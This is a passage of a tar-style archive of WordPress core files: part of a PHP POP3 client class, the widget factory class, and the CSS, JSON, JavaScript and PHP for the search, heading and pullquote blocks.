if(!isset($this->FP)) { $this->ERROR = "POP3 uidl: " . _("No connection to server"); return false; } $fp = $this->FP; $buffer = $this->BUFFER; if(!empty($msgNum)) { $cmd = "UIDL $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply); return $myUidl; } else { $this->update_timer(); $UIDLArray = array(); $Total = $this->COUNT; $UIDLArray[0] = $Total; if ($Total < 1) { return $UIDLArray; } $cmd = "UIDL"; fwrite($fp, "UIDL\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } $line = ""; $count = 1; $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { list ($msg,$msgUidl) = preg_split('/\s+/',$line); $msgUidl = $this->strip_clf($msgUidl); if($count == $msg) { $UIDLArray[$msg] = $msgUidl; } else { $UIDLArray[$count] = 'deleted'; } $count++; $line = fgets($fp,$buffer); } } return $UIDLArray; } function delete ($msgNum = "") { // Flags a specified msg as deleted. The msg will not // be deleted until a quit() method is called. if(!isset($this->FP)) { $this->ERROR = "POP3 delete: " . _("No connection to server"); return false; } if(empty($msgNum)) { $this->ERROR = "POP3 delete: " . _("No msg number submitted"); return false; } $reply = $this->send_cmd("DELE $msgNum"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]"; return false; } return true; } // ********************************************************* // The following methods are internal to the class. function is_ok ($cmd = "") { // Return true or false on +OK or -ERR if( empty($cmd) ) return false; else return( stripos($cmd, '+OK') !== false ); } function strip_clf ($text = "") { // Strips \r\n from server responses if(empty($text)) return $text; else { $stripped = str_replace(array("\r","\n"),'',$text); return $stripped; } } function parse_banner ( $server_text ) { $outside = true; $banner = ""; $length = strlen($server_text); for($count =0; $count < $length; $count++) { $digit = substr($server_text,$count,1); if(!empty($digit)) { if( (!$outside) && ($digit != '<') && ($digit != '>') ) { $banner .= $digit; } if ($digit == '<') { $outside = false; } if($digit == '>') { $outside = true; } } } $banner = $this->strip_clf($banner); // Just in case return "<$banner>"; } } // End class // For php4 compatibility if (!function_exists("stripos")) { function stripos($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle )); } } class-wp-widget-factory.php000064400000006371147177035010011750 0ustar00widgets[ spl_object_hash( $widget ) ] = $widget; } else { $this->widgets[ $widget ] = new $widget(); } } /** * Un-registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function unregister( $widget ) { if ( $widget instanceof WP_Widget ) { unset( $this->widgets[ spl_object_hash( $widget ) ] ); } else { unset( $this->widgets[ $widget ] ); } } /** * Serves as a utility method for adding widgets to the registered widgets global. * * @since 2.8.0 * * @global array $wp_registered_widgets */ public function _register_widgets() { global $wp_registered_widgets; $keys = array_keys( $this->widgets ); $registered = array_keys( $wp_registered_widgets ); $registered = array_map( '_get_widget_id_base', $registered ); foreach ( $keys as $key ) { // Don't register new widget if old widget with the same id is already registered. if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) { unset( $this->widgets[ $key ] ); continue; } $this->widgets[ $key ]->_register(); } } /** * Returns the registered WP_Widget object for the given widget type. * * @since 5.8.0 * * @param string $id_base Widget type ID. * @return WP_Widget|null */ public function get_widget_object( $id_base ) { $key = $this->get_widget_key( $id_base ); if ( '' === $key ) { return null; } return $this->widgets[ $key ]; } /** * Returns the registered key for the given widget type. * * @since 5.8.0 * * @param string $id_base Widget type ID. * @return string */ public function get_widget_key( $id_base ) { foreach ( $this->widgets as $key => $widget_object ) { if ( $widget_object->id_base === $id_base ) { return $key; } } return ''; } } blocks/search/editor-rtl.css000064400000003343147177035010012075 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper { margin: auto; } .wp-block-search .wp-block-search__button { height: auto; border-radius: initial; display: flex; align-items: center; } .wp-block-search__components-button-group { margin-top: 10px; }blocks/search/style.min.css000064400000002371147177035010011732 0ustar00.wp-block-search__button{background:#f7f7f7;border:1px solid #ccc;padding:.375em .625em;color:#32373c;margin-left:.625em;word-break:normal;font-size:inherit;font-family:inherit;line-height:inherit}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{min-width:1.5em;min-height:1.5em;fill:currentColor}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{padding:8px;flex-grow:1;min-width:3em;border:1px solid #949494;font-size:inherit;font-family:inherit;line-height:inherit}.wp-block-search.wp-block-search__button-only .wp-block-search__button{margin-left:0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px;border:1px solid #949494}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input{border-radius:0;border:none;padding:0 0 0 .25em}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus{outline:none}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button{padding:.125em .5em}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}blocks/search/editor.css000064400000003343147177035010011276 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper { margin: auto; } .wp-block-search .wp-block-search__button { height: auto; border-radius: initial; display: flex; align-items: center; } .wp-block-search__components-button-group { margin-top: 10px; }blocks/search/style-rtl.css000064400000005574147177035010011757 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-search__button { background: #f7f7f7; border: 1px solid #ccc; padding: 0.375em 0.625em; color: #32373c; margin-right: 0.625em; word-break: normal; font-size: inherit; font-family: inherit; line-height: inherit; } .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search__button svg { min-width: 1.5em; min-height: 1.5em; fill: currentColor; } .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search__label { width: 100%; } .wp-block-search__input { padding: 8px; flex-grow: 1; min-width: 3em; border: 1px solid #949494; font-size: inherit; font-family: inherit; line-height: inherit; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-right: 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input { border-radius: 0; border: none; padding: 0 0.25em 0 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus { outline: none; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button { padding: 0.125em 0.5em; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper { margin: auto; }blocks/search/editor.min.css000064400000000401147177035010012050 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{height:auto;border-radius:initial;display:flex;align-items:center}.wp-block-search__components-button-group{margin-top:10px}blocks/search/theme-rtl.min.css000064400000000071147177035010012466 0ustar00.wp-block-search .wp-block-search__label{font-weight:700}blocks/search/block.json000064400000002514147177035010011262 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/search", "title": "Search", "category": "widgets", "description": "Help visitors find your content.", "keywords": [ "find" ], "textdomain": "default", "attributes": { "label": { "type": "string", "__experimentalRole": "content" }, "showLabel": { "type": "boolean", "default": true }, "placeholder": { "type": "string", "default": "", "__experimentalRole": "content" }, "width": { "type": "number" }, "widthUnit": { "type": "string" }, "buttonText": { "type": "string", "__experimentalRole": "content" }, "buttonPosition": { "type": "string", "default": "button-outside" }, "buttonUseIcon": { "type": "boolean", "default": false } }, "supports": { "align": [ "left", "center", "right" ], "color": { "gradients": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": true, "radius": true, "width": true } }, "html": false }, "editorStyle": "wp-block-search-editor", "style": "wp-block-search" } blocks/search/style-rtl.min.css000064400000002373147177035010012533 0ustar00.wp-block-search__button{background:#f7f7f7;border:1px solid #ccc;padding:.375em .625em;color:#32373c;margin-right:.625em;word-break:normal;font-size:inherit;font-family:inherit;line-height:inherit}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{min-width:1.5em;min-height:1.5em;fill:currentColor}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{padding:8px;flex-grow:1;min-width:3em;border:1px solid #949494;font-size:inherit;font-family:inherit;line-height:inherit}.wp-block-search.wp-block-search__button-only .wp-block-search__button{margin-right:0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px;border:1px solid #949494}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input{border-radius:0;border:none;padding:0 .25em 0 0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus{outline:none}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button{padding:.125em .5em}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}blocks/search/view.asset.php000064400000000124147177035010012071 0ustar00 array(), 'version' => '2a0784014283afdd3c25'); blocks/search/editor-rtl.min.css000064400000000401147177035010012647 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{height:auto;border-radius:initial;display:flex;align-items:center}.wp-block-search__components-button-group{margin-top:10px}blocks/search/view.js000064400000007611147177035010010610 0ustar00import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; ;// CONCATENATED MODULE: external "@wordpress/interactivity" var x = (y) => { var x = {}; __webpack_require__.d(x, y); return x } var y = (x) => (() => (x)) const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) }); ;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/search/view.js /** * WordPress dependencies */ const { actions } = (0,interactivity_namespaceObject.store)('core/search', { state: { get ariaLabel() { const { isSearchInputVisible, ariaLabelCollapsed, ariaLabelExpanded } = (0,interactivity_namespaceObject.getContext)(); return isSearchInputVisible ? ariaLabelExpanded : ariaLabelCollapsed; }, get ariaControls() { const { isSearchInputVisible, inputId } = (0,interactivity_namespaceObject.getContext)(); return isSearchInputVisible ? null : inputId; }, get type() { const { isSearchInputVisible } = (0,interactivity_namespaceObject.getContext)(); return isSearchInputVisible ? 'submit' : 'button'; }, get tabindex() { const { isSearchInputVisible } = (0,interactivity_namespaceObject.getContext)(); return isSearchInputVisible ? '0' : '-1'; } }, actions: { openSearchInput(event) { const ctx = (0,interactivity_namespaceObject.getContext)(); const { ref } = (0,interactivity_namespaceObject.getElement)(); if (!ctx.isSearchInputVisible) { event.preventDefault(); ctx.isSearchInputVisible = true; ref.parentElement.querySelector('input').focus(); } }, closeSearchInput() { const ctx = (0,interactivity_namespaceObject.getContext)(); ctx.isSearchInputVisible = false; }, handleSearchKeydown(event) { const { ref } = (0,interactivity_namespaceObject.getElement)(); // If Escape close the menu. if (event?.key === 'Escape') { actions.closeSearchInput(); ref.querySelector('button').focus(); } }, handleSearchFocusout(event) { const { ref } = (0,interactivity_namespaceObject.getElement)(); // If focus is outside search form, and in the document, close menu // event.target === The element losing focus // event.relatedTarget === The element receiving focus (if any) // When focusout is outside the document, // `window.document.activeElement` doesn't change. if (!ref.contains(event.relatedTarget) && event.target !== window.document.activeElement) { actions.closeSearchInput(); } } } }, { lock: true }); blocks/search/view.min.js000064400000002437147177035010011373 0ustar00import*as e from"@wordpress/interactivity";var t={d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const n=(e=>{var n={};return t.d(n,e),n})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store}),{actions:r}=(0,n.store)("core/search",{state:{get ariaLabel(){const{isSearchInputVisible:e,ariaLabelCollapsed:t,ariaLabelExpanded:r}=(0,n.getContext)();return e?r:t},get ariaControls(){const{isSearchInputVisible:e,inputId:t}=(0,n.getContext)();return e?null:t},get type(){const{isSearchInputVisible:e}=(0,n.getContext)();return e?"submit":"button"},get tabindex(){const{isSearchInputVisible:e}=(0,n.getContext)();return e?"0":"-1"}},actions:{openSearchInput(e){const t=(0,n.getContext)(),{ref:r}=(0,n.getElement)();t.isSearchInputVisible||(e.preventDefault(),t.isSearchInputVisible=!0,r.parentElement.querySelector("input").focus())},closeSearchInput(){(0,n.getContext)().isSearchInputVisible=!1},handleSearchKeydown(e){const{ref:t}=(0,n.getElement)();"Escape"===e?.key&&(r.closeSearchInput(),t.querySelector("button").focus())},handleSearchFocusout(e){const{ref:t}=(0,n.getElement)();t.contains(e.relatedTarget)||e.target===window.document.activeElement||r.closeSearchInput()}}},{lock:!0});blocks/search/theme.min.css000064400000000071147177035010011667 0ustar00.wp-block-search .wp-block-search__label{font-weight:700}blocks/search/theme.css000064400000002777147177035010011124 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-search .wp-block-search__label { font-weight: bold; }blocks/search/theme-rtl.css000064400000002777147177035010011723 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-search .wp-block-search__label { font-weight: bold; }blocks/search/style.css000064400000005572147177035010011156 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-search__button { background: #f7f7f7; border: 1px solid #ccc; padding: 0.375em 0.625em; color: #32373c; margin-left: 0.625em; word-break: normal; font-size: inherit; font-family: inherit; line-height: inherit; } .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search__button svg { min-width: 1.5em; min-height: 1.5em; fill: currentColor; } .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search__label { width: 100%; } .wp-block-search__input { padding: 8px; flex-grow: 1; min-width: 3em; border: 1px solid #949494; font-size: inherit; font-family: inherit; line-height: inherit; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-left: 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input { border-radius: 0; border: none; padding: 0 0 0 0.25em; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus { outline: none; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button { padding: 0.125em 0.5em; } .wp-block-search.aligncenter .wp-block-search__inside-wrapper { margin: auto; }blocks/search/view.min.asset.php000064400000000124147177035010012653 0ustar00 array(), 'version' => '765a40956d200c79d99e'); blocks/heading.php000064400000002425147177035010010141 0ustar00Hello World * * Would be transformed to: *

    Hello World

    * * @since 6.2.0 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * * @return string The content of the block being rendered. */ function block_core_heading_render( $attributes, $content ) { if ( ! $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ); while ( $p->next_tag() ) { if ( in_array( $p->get_tag(), $header_tags, true ) ) { $p->add_class( 'wp-block-heading' ); break; } } return $p->get_updated_html(); } /** * Registers the `core/heading` block on server. * * @since 6.2.0 */ function register_block_core_heading() { register_block_type_from_metadata( __DIR__ . '/heading', array( 'render_callback' => 'block_core_heading_render', ) ); } add_action( 'init', 'register_block_core_heading' ); blocks/pullquote/editor-rtl.css000064400000003760147177035010012665 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote.has-text-align-left p, .wp-block-pullquote.has-text-align-right p, .wp-block[data-align=left] > .wp-block-pullquote p, .wp-block[data-align=right] > .wp-block-pullquote p { font-size: 20px; } .wp-block-pullquote blockquote p { font-size: 28px; line-height: 1.6; } .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote .wp-block-pullquote__citation { color: inherit; }blocks/pullquote/style.min.css000064400000002315147177035010012515 0ustar00.wp-block-pullquote{margin:0 0 1em;padding:3em 0;text-align:center;overflow-wrap:break-word;box-sizing:border-box}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright,.wp-block-pullquote.has-text-align-left,.wp-block-pullquote.has-text-align-right{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p,.wp-block-pullquote.has-text-align-left p,.wp-block-pullquote.has-text-align-right p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit}blocks/pullquote/editor.css000064400000003760147177035010012066 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote.has-text-align-left p, .wp-block-pullquote.has-text-align-right p, .wp-block[data-align=left] > .wp-block-pullquote p, .wp-block[data-align=right] > .wp-block-pullquote p { font-size: 20px; } .wp-block-pullquote blockquote p { font-size: 28px; line-height: 1.6; } .wp-block-pullquote.is-style-solid-color blockquote p { font-size: 32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation { text-transform: none; font-style: normal; } .wp-block-pullquote .wp-block-pullquote__citation { color: inherit; }blocks/pullquote/style-rtl.css000064400000005461147177035010012537 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-pullquote { margin: 0 0 1em 0; padding: 3em 0; text-align: center; overflow-wrap: break-word; box-sizing: border-box; } .wp-block-pullquote p, .wp-block-pullquote blockquote, .wp-block-pullquote cite { color: inherit; } .wp-block-pullquote.has-text-align-left, .wp-block-pullquote.has-text-align-right, .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote.has-text-align-left p, .wp-block-pullquote.has-text-align-right p, .wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p { font-size: 1.25em; } .wp-block-pullquote p { font-size: 1.75em; line-height: 1.6; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote.has-text-align-left blockquote { text-align: right; } .wp-block-pullquote.has-text-align-right blockquote { text-align: left; } 